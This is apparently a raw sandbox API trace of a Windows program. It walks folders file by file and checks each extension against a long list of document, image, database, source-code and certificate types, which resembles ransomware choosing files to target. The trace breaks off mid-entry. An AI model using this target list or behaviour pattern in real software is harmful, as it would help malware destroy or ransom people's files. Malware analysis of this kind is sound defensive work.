ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2814, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0158.035] FindClose (in: hFindFile=0x4191680 | out: hFindFile=0x4191680) returned 1 [0158.035] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a60498 | out: hHeap=0x300000) returned 1 [0158.035] FindNextFileW (in: hFindFile=0x4191180, lpFindFileData=0x327f310 | out: lpFindFileData=0x327f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44cd7dc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb44cd7dc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb44cd7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x2e0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0158.035] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\*", lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818f91fe, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x818f91fe, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191680 [0158.146] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818f91fe, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x818f91fe, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.153] FindNextFileW (in: hFindFile=0x4191680, lpFindFileData=0x327f094 | out: lpFindFileData=0x327f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44cd7dc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb44cd7dc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb44cd7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6530, dwReserved0=0x0, dwReserved1=0x0, cFileName="cronometer.png", cAlternateFileName="")) returned 1 [0159.207] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0159.207] lstrlenW (lpString=".3ds") returned 4 [0159.207] lstrcmpiW (lpString1=".3ds", lpString2=".png") returned -1 [0159.207] lstrlenW (lpString=".3fr") returned 4 [0159.207] lstrcmpiW (lpString1=".3fr", lpString2=".png") returned -1 [0159.207] lstrlenW (lpString=".3g2") returned 4 [0159.207] lstrcmpiW (lpString1=".3g2", lpString2=".png") returned -1 [0159.207] lstrlenW (lpString=".3gp") returned 4 [0159.207] lstrcmpiW (lpString1=".3gp", lpString2=".png") returned -1 [0159.207] lstrlenW (lpString=".7z") returned 3 [0159.207] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0159.207] lstrlenW (lpString=".accda") returned 6 [0159.207] lstrcmpiW (lpString1=".accda", lpString2="39.png") returned -1 [0159.207] lstrlenW (lpString=".accdb") returned 6 [0159.207] lstrcmpiW (lpString1=".accdb", lpString2="39.png") returned -1 [0159.207] lstrlenW (lpString=".accdc") returned 6 [0159.207] lstrcmpiW (lpString1=".accdc", lpString2="39.png") returned -1 [0159.207] lstrlenW (lpString=".accde") returned 6 [0159.207] lstrcmpiW (lpString1=".accde", lpString2="39.png") returned -1 [0159.207] lstrlenW (lpString=".accdt") returned 6 [0159.207] lstrcmpiW (lpString1=".accdt", lpString2="39.png") returned -1 [0159.207] lstrlenW (lpString=".accdw") returned 6 [0159.207] lstrcmpiW (lpString1=".accdw", lpString2="39.png") returned -1 [0159.207] lstrlenW (lpString=".adb") returned 4 [0159.207] lstrcmpiW (lpString1=".adb", lpString2=".png") returned -1 [0159.207] lstrlenW (lpString=".adp") returned 4 [0159.207] lstrcmpiW (lpString1=".adp", lpString2=".png") returned -1 [0159.207] lstrlenW (lpString=".ai") returned 3 [0159.207] lstrcmpiW (lpString1=".ai", lpString2="png") returned -1 [0159.207] lstrlenW (lpString=".ai3") returned 4 [0159.208] lstrcmpiW (lpString1=".ai3", lpString2=".png") returned -1 [0159.208] lstrlenW (lpString=".ai4") returned 4 [0159.208] lstrcmpiW (lpString1=".ai4", lpString2=".png") returned -1 [0159.208] lstrlenW (lpString=".ai5") returned 4 [0159.208] lstrcmpiW (lpString1=".ai5", lpString2=".png") returned -1 [0159.208] lstrlenW (lpString=".ai6") returned 4 [0159.208] lstrcmpiW (lpString1=".ai6", lpString2=".png") returned -1 [0159.208] lstrlenW (lpString=".ai7") returned 4 [0159.208] lstrcmpiW (lpString1=".ai7", lpString2=".png") returned -1 [0159.208] lstrlenW (lpString=".ai8") returned 4 [0159.208] lstrcmpiW (lpString1=".ai8", lpString2=".png") returned -1 [0159.208] lstrlenW (lpString=".anim") returned 5 [0159.208] lstrcmpiW (lpString1=".anim", lpString2="9.png") returned -1 [0159.208] lstrlenW (lpString=".arw") returned 4 [0159.208] lstrcmpiW (lpString1=".arw", lpString2=".png") returned -1 [0159.208] lstrlenW (lpString=".as") returned 3 [0159.208] lstrcmpiW (lpString1=".as", lpString2="png") returned -1 [0159.208] lstrlenW (lpString=".asa") returned 4 [0159.208] lstrcmpiW (lpString1=".asa", lpString2=".png") returned -1 [0159.208] lstrlenW (lpString=".asc") returned 4 [0159.208] lstrcmpiW (lpString1=".asc", lpString2=".png") returned -1 [0159.208] lstrlenW (lpString=".ascx") returned 5 [0159.208] lstrcmpiW (lpString1=".ascx", lpString2="9.png") returned -1 [0159.208] lstrlenW (lpString=".asm") returned 4 [0159.208] lstrcmpiW (lpString1=".asm", lpString2=".png") returned -1 [0159.208] lstrlenW (lpString=".asmx") returned 5 [0159.208] lstrcmpiW (lpString1=".asmx", lpString2="9.png") returned -1 [0159.208] lstrlenW (lpString=".asp") returned 4 [0159.208] lstrcmpiW (lpString1=".asp", lpString2=".png") returned -1 [0159.208] lstrlenW (lpString=".aspx") returned 5 [0159.208] lstrcmpiW (lpString1=".aspx", lpString2="9.png") returned -1 [0159.208] lstrlenW (lpString=".asr") returned 4 [0159.208] lstrcmpiW (lpString1=".asr", lpString2=".png") returned -1 [0159.208] lstrlenW (lpString=".asx") returned 4 [0159.209] lstrcmpiW (lpString1=".asx", lpString2=".png") returned -1 [0159.209] lstrlenW (lpString=".avi") returned 4 [0159.209] lstrcmpiW (lpString1=".avi", lpString2=".png") returned -1 [0159.209] lstrlenW (lpString=".avs") returned 4 [0159.209] lstrcmpiW (lpString1=".avs", lpString2=".png") returned -1 [0159.209] lstrlenW (lpString=".backup") returned 7 [0159.209] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0159.209] lstrlenW (lpString=".bak") returned 4 [0159.209] lstrcmpiW (lpString1=".bak", lpString2=".png") returned -1 [0159.209] lstrlenW (lpString=".bay") returned 4 [0159.209] lstrcmpiW (lpString1=".bay", lpString2=".png") returned -1 [0159.209] lstrlenW (lpString=".bd") returned 3 [0159.209] lstrcmpiW (lpString1=".bd", lpString2="png") returned -1 [0159.209] lstrlenW (lpString=".bin") returned 4 [0159.209] lstrcmpiW (lpString1=".bin", lpString2=".png") returned -1 [0159.209] lstrlenW (lpString=".bmp") returned 4 [0159.209] lstrcmpiW (lpString1=".bmp", lpString2=".png") returned -1 [0159.209] lstrlenW (lpString=".bz2") returned 4 [0159.209] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0159.209] lstrlenW (lpString=".c") returned 2 [0159.209] lstrcmpiW (lpString1=".c", lpString2="ng") returned -1 [0159.209] lstrlenW (lpString=".cdr") returned 4 [0159.209] lstrcmpiW (lpString1=".cdr", lpString2=".png") returned -1 [0159.209] lstrlenW (lpString=".cer") returned 4 [0159.209] lstrcmpiW (lpString1=".cer", lpString2=".png") returned -1 [0159.209] lstrlenW (lpString=".cf") returned 3 [0159.209] lstrcmpiW (lpString1=".cf", lpString2="png") returned -1 [0159.209] lstrlenW (lpString=".cfc") returned 4 [0159.209] lstrcmpiW (lpString1=".cfc", lpString2=".png") returned -1 [0159.209] lstrlenW (lpString=".cfm") returned 4 [0159.209] lstrcmpiW (lpString1=".cfm", lpString2=".png") returned -1 [0159.209] lstrlenW (lpString=".cfml") returned 5 [0159.209] lstrcmpiW (lpString1=".cfml", lpString2="9.png") returned -1 [0159.209] lstrlenW (lpString=".cfu") returned 4 [0159.210] lstrcmpiW (lpString1=".cfu", lpString2=".png") returned -1 [0159.210] lstrlenW (lpString=".chm") returned 4 [0159.210] lstrcmpiW (lpString1=".chm", lpString2=".png") returned -1 [0159.210] lstrlenW (lpString=".cin") returned 4 [0159.210] lstrcmpiW (lpString1=".cin", lpString2=".png") returned -1 [0159.210] lstrlenW (lpString=".class") returned 6 [0159.210] lstrcmpiW (lpString1=".class", lpString2="39.png") returned -1 [0159.210] lstrlenW (lpString=".clx") returned 4 [0159.210] lstrcmpiW (lpString1=".clx", lpString2=".png") returned -1 [0159.210] lstrlenW (lpString=".config") returned 7 [0159.210] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0159.210] lstrlenW (lpString=".cpp") returned 4 [0159.210] lstrcmpiW (lpString1=".cpp", lpString2=".png") returned -1 [0159.210] lstrlenW (lpString=".cr2") returned 4 [0159.210] lstrcmpiW (lpString1=".cr2", lpString2=".png") returned -1 [0159.210] lstrlenW (lpString=".crt") returned 4 [0159.210] lstrcmpiW (lpString1=".crt", lpString2=".png") returned -1 [0159.210] lstrlenW (lpString=".crw") returned 4 [0159.210] lstrcmpiW (lpString1=".crw", lpString2=".png") returned -1 [0159.210] lstrlenW (lpString=".cs") returned 3 [0159.210] lstrcmpiW (lpString1=".cs", lpString2="png") returned -1 [0159.210] lstrlenW (lpString=".css") returned 4 [0159.210] lstrcmpiW (lpString1=".css", lpString2=".png") returned -1 [0159.210] lstrlenW (lpString=".csv") returned 4 [0159.210] lstrcmpiW (lpString1=".csv", lpString2=".png") returned -1 [0159.210] lstrlenW (lpString=".cub") returned 4 [0159.210] lstrcmpiW (lpString1=".cub", lpString2=".png") returned -1 [0159.210] lstrlenW (lpString=".dae") returned 4 [0159.210] lstrcmpiW (lpString1=".dae", lpString2=".png") returned -1 [0159.210] lstrlenW (lpString=".dat") returned 4 [0159.210] lstrcmpiW (lpString1=".dat", lpString2=".png") returned -1 [0159.210] lstrlenW (lpString=".db") returned 3 [0159.210] lstrcmpiW (lpString1=".db", lpString2="png") returned -1 [0159.210] lstrlenW (lpString=".dbf") returned 4 [0159.211] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0159.211] lstrlenW (lpString=".dbx") returned 4 [0159.211] lstrcmpiW (lpString1=".dbx", lpString2=".png") returned -1 [0159.211] lstrlenW (lpString=".dc3") returned 4 [0159.211] lstrcmpiW (lpString1=".dc3", lpString2=".png") returned -1 [0159.211] lstrlenW (lpString=".dcm") returned 4 [0159.211] lstrcmpiW (lpString1=".dcm", lpString2=".png") returned -1 [0159.211] lstrlenW (lpString=".dcr") returned 4 [0159.211] lstrcmpiW (lpString1=".dcr", lpString2=".png") returned -1 [0159.211] lstrlenW (lpString=".der") returned 4 [0159.211] lstrcmpiW (lpString1=".der", lpString2=".png") returned -1 [0159.211] lstrlenW (lpString=".dib") returned 4 [0159.211] lstrcmpiW (lpString1=".dib", lpString2=".png") returned -1 [0159.211] lstrlenW (lpString=".dic") returned 4 [0159.211] lstrcmpiW (lpString1=".dic", lpString2=".png") returned -1 [0159.211] lstrlenW (lpString=".dif") returned 4 [0159.211] lstrcmpiW (lpString1=".dif", lpString2=".png") returned -1 [0159.211] lstrlenW (lpString=".divx") returned 5 [0159.211] lstrcmpiW (lpString1=".divx", lpString2="9.png") returned -1 [0159.211] lstrlenW (lpString=".djvu") returned 5 [0159.211] lstrcmpiW (lpString1=".djvu", lpString2="9.png") returned -1 [0159.211] lstrlenW (lpString=".dng") returned 4 [0159.211] lstrcmpiW (lpString1=".dng", lpString2=".png") returned -1 [0159.211] lstrlenW (lpString=".doc") returned 4 [0159.211] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0159.211] lstrlenW (lpString=".docm") returned 5 [0159.211] lstrcmpiW (lpString1=".docm", lpString2="9.png") returned -1 [0159.211] lstrlenW (lpString=".docx") returned 5 [0159.211] lstrcmpiW (lpString1=".docx", lpString2="9.png") returned -1 [0159.211] lstrlenW (lpString=".dot") returned 4 [0159.211] lstrcmpiW (lpString1=".dot", lpString2=".png") returned -1 [0159.211] lstrlenW (lpString=".dotm") returned 5 [0159.211] lstrcmpiW (lpString1=".dotm", lpString2="9.png") returned -1 [0159.212] lstrlenW (lpString=".dotx") returned 5 [0159.212] lstrcmpiW (lpString1=".dotx", lpString2="9.png") returned -1 [0159.212] lstrlenW (lpString=".dpx") returned 4 [0159.212] lstrcmpiW (lpString1=".dpx", lpString2=".png") returned -1 [0159.212] lstrlenW (lpString=".dqy") returned 4 [0159.212] lstrcmpiW (lpString1=".dqy", lpString2=".png") returned -1 [0159.212] lstrlenW (lpString=".dsn") returned 4 [0159.212] lstrcmpiW (lpString1=".dsn", lpString2=".png") returned -1 [0159.212] lstrlenW (lpString=".dt") returned 3 [0159.212] lstrcmpiW (lpString1=".dt", lpString2="png") returned -1 [0159.212] lstrlenW (lpString=".dtd") returned 4 [0159.212] lstrcmpiW (lpString1=".dtd", lpString2=".png") returned -1 [0159.212] lstrlenW (lpString=".dwg") returned 4 [0159.212] lstrcmpiW (lpString1=".dwg", lpString2=".png") returned -1 [0159.212] lstrlenW (lpString=".dwt") returned 4 [0159.212] lstrcmpiW (lpString1=".dwt", lpString2=".png") returned -1 [0159.212] lstrlenW (lpString=".dx") returned 3 [0159.212] lstrcmpiW (lpString1=".dx", lpString2="png") returned -1 [0159.212] lstrlenW (lpString=".dxf") returned 4 [0159.212] lstrcmpiW (lpString1=".dxf", lpString2=".png") returned -1 [0159.212] lstrlenW (lpString=".edml") returned 5 [0159.212] lstrcmpiW (lpString1=".edml", lpString2="9.png") returned -1 [0159.212] lstrlenW (lpString=".efd") returned 4 [0159.212] lstrcmpiW (lpString1=".efd", lpString2=".png") returned -1 [0159.212] lstrlenW (lpString=".elf") returned 4 [0159.212] lstrcmpiW (lpString1=".elf", lpString2=".png") returned -1 [0159.213] lstrlenW (lpString=".emf") returned 4 [0159.213] lstrcmpiW (lpString1=".emf", lpString2=".png") returned -1 [0159.213] lstrlenW (lpString=".emz") returned 4 [0159.213] lstrcmpiW (lpString1=".emz", lpString2=".png") returned -1 [0159.213] lstrlenW (lpString=".epf") returned 4 [0159.213] lstrcmpiW (lpString1=".epf", lpString2=".png") returned -1 [0159.213] lstrlenW (lpString=".eps") returned 4 [0159.213] lstrcmpiW (lpString1=".eps", lpString2=".png") returned -1 [0159.213] lstrlenW (lpString=".epsf") returned 5 [0159.213] lstrcmpiW (lpString1=".epsf", lpString2="9.png") returned -1 [0159.213] lstrlenW (lpString=".epsp") returned 5 [0159.213] lstrcmpiW (lpString1=".epsp", lpString2="9.png") returned -1 [0159.213] lstrlenW (lpString=".erf") returned 4 [0159.213] lstrcmpiW (lpString1=".erf", lpString2=".png") returned -1 [0159.213] lstrlenW (lpString=".exr") returned 4 [0159.213] lstrcmpiW (lpString1=".exr", lpString2=".png") returned -1 [0159.213] lstrlenW (lpString=".f4v") returned 4 [0159.213] lstrcmpiW (lpString1=".f4v", lpString2=".png") returned -1 [0159.213] lstrlenW (lpString=".fido") returned 5 [0159.213] lstrcmpiW (lpString1=".fido", lpString2="9.png") returned -1 [0159.213] lstrlenW (lpString=".flm") returned 4 [0159.213] lstrcmpiW (lpString1=".flm", lpString2=".png") returned -1 [0159.213] lstrlenW (lpString=".flv") returned 4 [0159.213] lstrcmpiW (lpString1=".flv", lpString2=".png") returned -1 [0159.213] lstrlenW (lpString=".frm") returned 4 [0159.213] lstrcmpiW (lpString1=".frm", lpString2=".png") returned -1 [0159.213] lstrlenW (lpString=".fxg") returned 4 [0159.213] lstrcmpiW (lpString1=".fxg", lpString2=".png") returned -1 [0159.213] lstrlenW (lpString=".geo") returned 4 [0159.213] lstrcmpiW (lpString1=".geo", lpString2=".png") returned -1 [0159.214] lstrlenW (lpString=".gif") returned 4 [0159.214] lstrcmpiW (lpString1=".gif", lpString2=".png") returned -1 [0159.214] lstrlenW (lpString=".grs") returned 4 [0159.214] lstrcmpiW (lpString1=".grs", lpString2=".png") returned -1 [0159.214] lstrlenW (lpString=".gz") returned 3 [0159.214] lstrcmpiW (lpString1=".gz", lpString2="png") returned -1 [0159.214] lstrlenW (lpString=".h") returned 2 [0159.214] lstrcmpiW (lpString1=".h", lpString2="ng") returned -1 [0159.214] lstrlenW (lpString=".hdr") returned 4 [0159.214] lstrcmpiW (lpString1=".hdr", lpString2=".png") returned -1 [0159.214] lstrlenW (lpString=".hpp") returned 4 [0159.214] lstrcmpiW (lpString1=".hpp", lpString2=".png") returned -1 [0159.214] lstrlenW (lpString=".hta") returned 4 [0159.214] lstrcmpiW (lpString1=".hta", lpString2=".png") returned -1 [0159.214] lstrlenW (lpString=".htc") returned 4 [0159.214] lstrcmpiW (lpString1=".htc", lpString2=".png") returned -1 [0159.214] lstrlenW (lpString=".htm") returned 4 [0159.214] lstrcmpiW (lpString1=".htm", lpString2=".png") returned -1 [0159.214] lstrlenW (lpString=".html") returned 5 [0159.214] lstrcmpiW (lpString1=".html", lpString2="9.png") returned -1 [0159.214] lstrlenW (lpString=".icb") returned 4 [0159.214] lstrcmpiW (lpString1=".icb", lpString2=".png") returned -1 [0159.214] lstrlenW (lpString=".ics") returned 4 [0159.214] lstrcmpiW (lpString1=".ics", lpString2=".png") returned -1 [0159.214] lstrlenW (lpString=".iff") returned 4 [0159.214] lstrcmpiW (lpString1=".iff", lpString2=".png") returned -1 [0159.214] lstrlenW (lpString=".inc") returned 4 [0159.214] lstrcmpiW (lpString1=".inc", lpString2=".png") returned -1 [0159.214] lstrlenW (lpString=".indd") returned 5 [0159.214] lstrcmpiW (lpString1=".indd", lpString2="9.png") returned -1 [0159.214] lstrlenW (lpString=".ini") returned 4 [0159.214] lstrcmpiW (lpString1=".ini", lpString2=".png") returned -1 [0159.214] lstrlenW (lpString=".iqy") returned 4 [0159.214] lstrcmpiW (lpString1=".iqy", lpString2=".png") returned -1 [0159.215] lstrlenW (lpString=".j2c") returned 4 [0159.215] lstrcmpiW (lpString1=".j2c", lpString2=".png") returned -1 [0159.215] lstrlenW (lpString=".j2k") returned 4 [0159.215] lstrcmpiW (lpString1=".j2k", lpString2=".png") returned -1 [0159.215] lstrlenW (lpString=".java") returned 5 [0159.215] lstrcmpiW (lpString1=".java", lpString2="9.png") returned -1 [0159.215] lstrlenW (lpString=".jp2") returned 4 [0159.215] lstrcmpiW (lpString1=".jp2", lpString2=".png") returned -1 [0159.215] lstrlenW (lpString=".jpc") returned 4 [0159.215] lstrcmpiW (lpString1=".jpc", lpString2=".png") returned -1 [0159.215] lstrlenW (lpString=".jpe") returned 4 [0159.215] lstrcmpiW (lpString1=".jpe", lpString2=".png") returned -1 [0159.215] lstrlenW (lpString=".jpeg") returned 5 [0159.215] lstrcmpiW (lpString1=".jpeg", lpString2="9.png") returned -1 [0159.215] lstrlenW (lpString=".jpf") returned 4 [0159.215] lstrcmpiW (lpString1=".jpf", lpString2=".png") returned -1 [0159.215] lstrlenW (lpString=".jpg") returned 4 [0159.215] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0159.215] lstrlenW (lpString=".jpx") returned 4 [0159.215] lstrcmpiW (lpString1=".jpx", lpString2=".png") returned -1 [0159.215] lstrlenW (lpString=".js") returned 3 [0159.215] lstrcmpiW (lpString1=".js", lpString2="png") returned -1 [0159.215] lstrlenW (lpString=".jsf") returned 4 [0159.215] lstrcmpiW (lpString1=".jsf", lpString2=".png") returned -1 [0159.215] lstrlenW (lpString=".json") returned 5 [0159.215] lstrcmpiW (lpString1=".json", lpString2="9.png") returned -1 [0159.215] lstrlenW (lpString=".jsp") returned 4 [0159.215] lstrcmpiW (lpString1=".jsp", lpString2=".png") returned -1 [0159.215] lstrlenW (lpString=".kdc") returned 4 [0159.215] lstrcmpiW (lpString1=".kdc", lpString2=".png") returned -1 [0159.215] lstrlenW (lpString=".kmz") returned 4 [0159.215] lstrcmpiW (lpString1=".kmz", lpString2=".png") returned -1 [0159.215] lstrlenW (lpString=".kwm") returned 4 [0159.216] lstrcmpiW (lpString1=".kwm", lpString2=".png") returned -1 [0159.216] lstrlenW (lpString=".lasso") returned 6 [0159.216] lstrcmpiW (lpString1=".lasso", lpString2="39.png") returned -1 [0159.216] lstrlenW (lpString=".lbi") returned 4 [0159.216] lstrcmpiW (lpString1=".lbi", lpString2=".png") returned -1 [0159.216] lstrlenW (lpString=".lgf") returned 4 [0159.216] lstrcmpiW (lpString1=".lgf", lpString2=".png") returned -1 [0159.216] lstrlenW (lpString=".lgp") returned 4 [0159.216] lstrcmpiW (lpString1=".lgp", lpString2=".png") returned -1 [0159.216] lstrlenW (lpString=".log") returned 4 [0159.216] lstrcmpiW (lpString1=".log", lpString2=".png") returned -1 [0159.216] lstrlenW (lpString=".m1v") returned 4 [0159.216] lstrcmpiW (lpString1=".m1v", lpString2=".png") returned -1 [0159.216] lstrlenW (lpString=".m4a") returned 4 [0159.216] lstrcmpiW (lpString1=".m4a", lpString2=".png") returned -1 [0159.216] lstrlenW (lpString=".m4v") returned 4 [0159.216] lstrcmpiW (lpString1=".m4v", lpString2=".png") returned -1 [0159.216] lstrlenW (lpString=".max") returned 4 [0159.216] lstrcmpiW (lpString1=".max", lpString2=".png") returned -1 [0159.216] lstrlenW (lpString=".md") returned 3 [0159.216] lstrcmpiW (lpString1=".md", lpString2="png") returned -1 [0159.216] lstrlenW (lpString=".mda") returned 4 [0159.216] lstrcmpiW (lpString1=".mda", lpString2=".png") returned -1 [0159.216] lstrlenW (lpString=".mdb") returned 4 [0159.216] lstrcmpiW (lpString1=".mdb", lpString2=".png") returned -1 [0159.216] lstrlenW (lpString=".mde") returned 4 [0159.216] lstrcmpiW (lpString1=".mde", lpString2=".png") returned -1 [0159.216] lstrlenW (lpString=".mdf") returned 4 [0159.216] lstrcmpiW (lpString1=".mdf", lpString2=".png") returned -1 [0159.216] lstrlenW (lpString=".mdw") returned 4 [0159.216] lstrcmpiW (lpString1=".mdw", lpString2=".png") returned -1 [0159.216] lstrlenW (lpString=".mef") returned 4 [0159.216] lstrcmpiW (lpString1=".mef", lpString2=".png") returned -1 [0159.216] lstrlenW (lpString=".mft") returned 4 [0159.217] lstrcmpiW (lpString1=".mft", lpString2=".png") returned -1 [0159.217] lstrlenW (lpString=".mfw") returned 4 [0159.217] lstrcmpiW (lpString1=".mfw", lpString2=".png") returned -1 [0159.217] lstrlenW (lpString=".mht") returned 4 [0159.217] lstrcmpiW (lpString1=".mht", lpString2=".png") returned -1 [0159.217] lstrlenW (lpString=".mhtml") returned 6 [0159.217] lstrcmpiW (lpString1=".mhtml", lpString2="39.png") returned -1 [0159.217] lstrlenW (lpString=".mka") returned 4 [0159.217] lstrcmpiW (lpString1=".mka", lpString2=".png") returned -1 [0159.217] lstrlenW (lpString=".mkidx") returned 6 [0159.217] lstrcmpiW (lpString1=".mkidx", lpString2="39.png") returned -1 [0159.217] lstrlenW (lpString=".mkv") returned 4 [0159.217] lstrcmpiW (lpString1=".mkv", lpString2=".png") returned -1 [0159.217] lstrlenW (lpString=".mos") returned 4 [0159.217] lstrcmpiW (lpString1=".mos", lpString2=".png") returned -1 [0159.217] lstrlenW (lpString=".mov") returned 4 [0159.217] lstrcmpiW (lpString1=".mov", lpString2=".png") returned -1 [0159.217] lstrlenW (lpString=".mp3") returned 4 [0159.217] lstrcmpiW (lpString1=".mp3", lpString2=".png") returned -1 [0159.217] lstrlenW (lpString=".mp4") returned 4 [0159.217] lstrcmpiW (lpString1=".mp4", lpString2=".png") returned -1 [0159.217] lstrlenW (lpString=".mpeg") returned 5 [0159.217] lstrcmpiW (lpString1=".mpeg", lpString2="9.png") returned -1 [0159.217] lstrlenW (lpString=".mpg") returned 4 [0159.217] lstrcmpiW (lpString1=".mpg", lpString2=".png") returned -1 [0159.217] lstrlenW (lpString=".mpv") returned 4 [0159.217] lstrcmpiW (lpString1=".mpv", lpString2=".png") returned -1 [0159.217] lstrlenW (lpString=".mrw") returned 4 [0159.217] lstrcmpiW (lpString1=".mrw", lpString2=".png") returned -1 [0159.217] lstrlenW (lpString=".msg") returned 4 [0159.217] lstrcmpiW (lpString1=".msg", lpString2=".png") returned -1 [0159.217] lstrlenW (lpString=".mxl") returned 4 [0159.217] lstrcmpiW (lpString1=".mxl", lpString2=".png") returned -1 [0159.218] lstrlenW (lpString=".myd") returned 4 [0159.218] lstrcmpiW (lpString1=".myd", lpString2=".png") returned -1 [0159.218] lstrlenW (lpString=".myi") returned 4 [0159.218] lstrcmpiW (lpString1=".myi", lpString2=".png") returned -1 [0159.218] lstrlenW (lpString=".nef") returned 4 [0159.218] lstrcmpiW (lpString1=".nef", lpString2=".png") returned -1 [0159.218] lstrlenW (lpString=".nrw") returned 4 [0159.218] lstrcmpiW (lpString1=".nrw", lpString2=".png") returned -1 [0159.218] lstrlenW (lpString=".obj") returned 4 [0159.218] lstrcmpiW (lpString1=".obj", lpString2=".png") returned -1 [0159.218] lstrlenW (lpString=".odb") returned 4 [0159.218] lstrcmpiW (lpString1=".odb", lpString2=".png") returned -1 [0159.218] lstrlenW (lpString=".odc") returned 4 [0159.218] lstrcmpiW (lpString1=".odc", lpString2=".png") returned -1 [0159.218] lstrlenW (lpString=".odm") returned 4 [0159.218] lstrcmpiW (lpString1=".odm", lpString2=".png") returned -1 [0159.218] lstrlenW (lpString=".odp") returned 4 [0159.218] lstrcmpiW (lpString1=".odp", lpString2=".png") returned -1 [0159.218] lstrlenW (lpString=".ods") returned 4 [0159.218] lstrcmpiW (lpString1=".ods", lpString2=".png") returned -1 [0159.218] lstrlenW (lpString=".oft") returned 4 [0159.218] lstrcmpiW (lpString1=".oft", lpString2=".png") returned -1 [0159.218] lstrlenW (lpString=".one") returned 4 [0159.218] lstrcmpiW (lpString1=".one", lpString2=".png") returned -1 [0159.218] lstrlenW (lpString=".onepkg") returned 7 [0159.218] lstrcmpiW (lpString1=".onepkg", lpString2="") returned 1 [0159.218] lstrlenW (lpString=".onetoc2") returned 8 [0159.218] lstrcmpiW (lpString1=".onetoc2", lpString2="") returned 1 [0159.218] lstrlenW (lpString=".opt") returned 4 [0159.218] lstrcmpiW (lpString1=".opt", lpString2=".png") returned -1 [0159.218] lstrlenW (lpString=".oqy") returned 4 [0159.218] lstrcmpiW (lpString1=".oqy", lpString2=".png") returned -1 [0159.218] lstrlenW (lpString=".orf") returned 4 [0159.218] lstrcmpiW (lpString1=".orf", lpString2=".png") returned -1 [0159.219] lstrlenW (lpString=".p12") returned 4 [0159.219] lstrcmpiW (lpString1=".p12", lpString2=".png") returned -1 [0159.219] lstrlenW (lpString=".p7b") returned 4 [0159.219] lstrcmpiW (lpString1=".p7b", lpString2=".png") returned -1 [0159.219] lstrlenW (lpString=".p7c") returned 4 [0159.219] lstrcmpiW (lpString1=".p7c", lpString2=".png") returned -1 [0159.219] lstrlenW (lpString=".pam") returned 4 [0159.219] lstrcmpiW (lpString1=".pam", lpString2=".png") returned -1 [0159.219] lstrlenW (lpString=".pbm") returned 4 [0159.219] lstrcmpiW (lpString1=".pbm", lpString2=".png") returned -1 [0159.219] lstrlenW (lpString=".pct") returned 4 [0159.219] lstrcmpiW (lpString1=".pct", lpString2=".png") returned -1 [0159.219] lstrlenW (lpString=".pcx") returned 4 [0159.219] lstrcmpiW (lpString1=".pcx", lpString2=".png") returned -1 [0159.219] lstrlenW (lpString=".pdd") returned 4 [0159.219] lstrcmpiW (lpString1=".pdd", lpString2=".png") returned -1 [0159.219] lstrlenW (lpString=".pdf") returned 4 [0159.219] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0159.219] lstrlenW (lpString=".pdp") returned 4 [0159.219] lstrcmpiW (lpString1=".pdp", lpString2=".png") returned -1 [0159.219] lstrlenW (lpString=".pef") returned 4 [0159.219] lstrcmpiW (lpString1=".pef", lpString2=".png") returned -1 [0159.219] lstrlenW (lpString=".pem") returned 4 [0159.219] lstrcmpiW (lpString1=".pem", lpString2=".png") returned -1 [0159.219] lstrlenW (lpString=".pff") returned 4 [0159.219] lstrcmpiW (lpString1=".pff", lpString2=".png") returned -1 [0159.219] lstrlenW (lpString=".pfm") returned 4 [0159.219] lstrcmpiW (lpString1=".pfm", lpString2=".png") returned -1 [0159.219] lstrlenW (lpString=".pfx") returned 4 [0159.219] lstrcmpiW (lpString1=".pfx", lpString2=".png") returned -1 [0159.219] lstrlenW (lpString=".pgm") returned 4 [0159.219] lstrcmpiW (lpString1=".pgm", lpString2=".png") returned -1 [0159.219] lstrlenW (lpString=".php") returned 4 [0159.219] lstrcmpiW 